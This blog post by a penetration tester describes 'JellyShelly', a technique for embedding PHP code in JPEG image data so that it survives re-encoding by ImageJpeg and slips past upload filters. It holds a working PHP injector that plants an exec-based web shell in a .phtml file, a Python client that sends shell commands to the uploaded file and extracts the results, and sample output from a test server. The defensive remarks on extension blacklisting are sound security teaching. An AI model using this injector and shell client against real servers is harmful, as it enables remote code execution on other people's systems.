JellyShelly – Hiding code in ImageJpeg processed images

I wrote this article for my own blog as well as a TrueSec newsletter some time ago. Now that we have a dev blog I thought it would be a good idea to republish this article with some new content. This time I’ll include some PoC code as well.

A while ago I was reading a forum thread about file upload scripts in the PHP scripting language. The people in the thread were discussing different ways of handling different file types when allowing users on their websites to upload files to the server. Security wasn’t really on the topic here, but there were still mentions of it. The most common problem that is mentioned when it comes to file uploading is that there is a need to somehow restrict what kind of files the users are allowed to upload, how to handle them once they are on the server and so on.

In this case their solution was to disallow users from uploading files with the php extension, and then by using a PHP function called ImageJpeg they would verify that the users were uploading valid pictures (The forum user in question was making an image upload script for his community website). Now, as a developer I can see why this seems like a pretty nice idea, since the data would be verified and changed in the ImageJpeg function. If the file was not a valid image then the function would return false and the file would not be properly uploaded. And even if a malicious user were to put code within the data part of the image, that data would always be changed when the ImageJpeg function has finished and saved the file to disc.

The so called “black listing” of file extensions is usually not a good idea since there exists many different alternatives to one executable extension. If we take the example above where they prevented users from uploading files with the php extension. PHP has 5 alternative extensions, these being .php3, .php4, .php5, .phtml and .phps. And if a developer of a script only restricts .php, then the other 5 can be used instead to upload malicious code to the server.

I found it an interesting topic and decided to see if I can somehow bypass their protection and upload executable code to my test server using their upload scripts. The first thing that came to mind was that jpeg images allow so called “exif” data that can hold comments for image viewers and editors to display in different ways. I thought I could use this rather common method to include a small chunk of code that would then be executed on the server. Although this bubble burst rather quickly as I discovered that the ImageJpeg function always overwrites the exif data with its own, including the comments.

The next idea I had was to utilize a hex editor to see if I can insert the code into the image data itself, while making sure it’s still a valid image that would pass through the ImageJpeg function. The difficulty with this, just as discussed in the thread, was that the data was always changed and thus my code was not intact when the file was saved to disc. The image would in almost all cases be a valid one, although a bit distorted due to my meddling.

After hours of playing around with this I managed to get an image that when injected with code and run through the function, the code would still be intact and executable on my server.

hex

So after even more hours of trying to perfect this method, making sure the image is always a valid one and that it’s not too distorted from the changes, I wrote a script that injects the code automatically and makes sure that the code will still be there after being changed with different image handling tools, like the ImageJpeg function (It was also tested with tools that performs resize on the picture, and although this worked in many cases it was significantly harder to retain the code after processing).

Below is the picture before the injection

logo

 

Followed by the picture after the injection (notice how in this example, the picture got a little bit distorted at the end. This varies from case to case). Don’t worry, the code can’t execute in its current form.

logo_mod

 

The PoC script I wrote to automate the process.

<?php
ini_set('display_errors', 0);
error_reporting(0);

//File that contains the finished result to be uploaded
$result_file = 'pic.jpg.phtml';

//Original input file
$orig = 'test.jpg';

//Temp filename
$filename = $orig . '_mod.jpg';

//Code to be hidden in the image data
$code = '<?php exec($_GET["c"])?>';

echo "-=Imagejpeg injector 1.6=-\n";

$src = imagecreatefromjpeg($orig);
imagejpeg($src, $filename, 100);
$data = file_get_contents($filename);
$tmpData = array();

echo "[+] Jumping to end byte\n";
$start_byte = findStart($data);

echo "[+] Searching for valid injection point\n";
for($i = strlen($data)-1; $i > $start_byte; --$i)
{
	$tmpData = $data;
	for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
	{
	    $tmpData[$n] = $code[$z];
	}

	$src = imagecreatefromstring($tmpData);
	imagejpeg($src, $result_file, 100);

	if(checkCodeInFile($result_file, $code))
	{
	    unlink($filename);
	    unlink($result_file);
	    sleep(1);

	    file_put_contents($result_file, $tmpData);
	    echo "[!] Temp solution, if you get a 'recoverable' error here, it means it probably failed\n";

	    sleep(1);
	    $src = imagecreatefromjpeg($result_file);

	    echo "[+] Injection completed successfully\n";
	    echo "[+] Filename: " . $result_file . "\n";
	    die();
	}
	else
	{
	    unlink($result_file);
	}
}

echo "[-] Unable to find valid injection point. Try a shorter command or another image\n";

function findStart($str)
{
    for($i = 0; $i < strlen($str); ++$i)
    {
        if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
        {
            return $i+2;
        }
    }

    return -1;
}

function checkCodeInFile($file, $code)
{
    if(file_exists($file))
    {
        $contents = loadFile($file);
    }
    else
    {
        $contents = "0";
    }

    return strstr($contents, $code);
}

function loadFile($file)
{
    $handle = fopen($file, "r");
    $buffer = fread($handle, filesize($file));
    fclose($handle);

    return $buffer;
}

?>

So to summarize. After a few days I did manage to bypass their protection followed by writing a script to automate it all. Some example output from the script can be seen below.


[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml

And to top it up I also made a small script to send commands to the file once it has been uploaded to a server, parse the results out of the image data once returned and display it.

#!/usr/bin/python

import urllib.request
import argparse
import http.client
import urllib.parse
import re

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("domain", help="domain to connect to")
    parser.add_argument("port", help="port to connect to")
    parser.add_argument("path", help="path to the jellyshelly file")
    args = parser.parse_args()
    domain = args.domain
    path = args.path
    port = args.port

    if(makeTest(domain, path, port)):
        cmd = ""
        print("Type exit to end session")
        while(cmd != "exit"):
            cmd = input("<JellyShelly> ")

            if(cmd.strip() != ''):
                makeRequest("echo \"foiwe303t43jd $("+cmd+") foiwe303t43jd\"", domain, port, path)

def makeRequest(cmd, domain, port, path):
    lines = cmd.split('\n')

    httpServ = http.client.HTTPConnection(domain, port)
    httpServ.connect()

    params = urllib.parse.urlencode({'c': cmd})
    headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}

    httpServ.request('POST', path, params, headers)
    response = httpServ.getresponse()
    response_string = response.read().decode("utf-8", "replace")

    if response.status == http.client.OK:
        for result in re.findall(r'(?<=foiwe303t43jd).*?(?=foiwe303t43jd)', response_string, re.DOTALL):
            print(result.strip())
    httpServ.close()

def makeTest(domain, path, port):
    httpServ = http.client.HTTPConnection(domain, port)
    httpServ.connect()
    httpServ.request('GET', path)
    response = httpServ.getresponse()

    print(response.status)
    return response.status == http.client.OK

if __name__ == "__main__":
    main()

uname -a
Linux truesechp01 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

And this shows how very easy it is for things to go wrong with file upload functionality. There are so very many ways to do bad things with it, and a motivated attacker can in many cases spend days, months or even years to find a way around your protection mechanisms. The trick I have showed you in this article today is not limited to PHP, but can be applied in other environments as well. There are a few measures that can be good enough depending on the situation when handling uploaded files to a server, but there’s no silver bullet as there are in many cases ways to circumvent them as well, the best example being that the developer who implements it simply does it wrongly (classic one is that they only check for the presence of .jpg in a filename, which would then allow the uploading of a file.jpg.php).

For those who decide to solve all this by using blacklisting and block file extensions like .php,.phtml,.php4,.php4,.php5. Be aware, PHP 6 will be released eventually.

I'm a Security consultant at TrueSec. I mostly deal with penetration testing and code reviews, but I also like to allocate time for different kinds of security research. Twitter - https://twitter.com/alcorsecurity

Tagged with: , , ,
Posted in Hacking

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Categories
%d bloggers like this: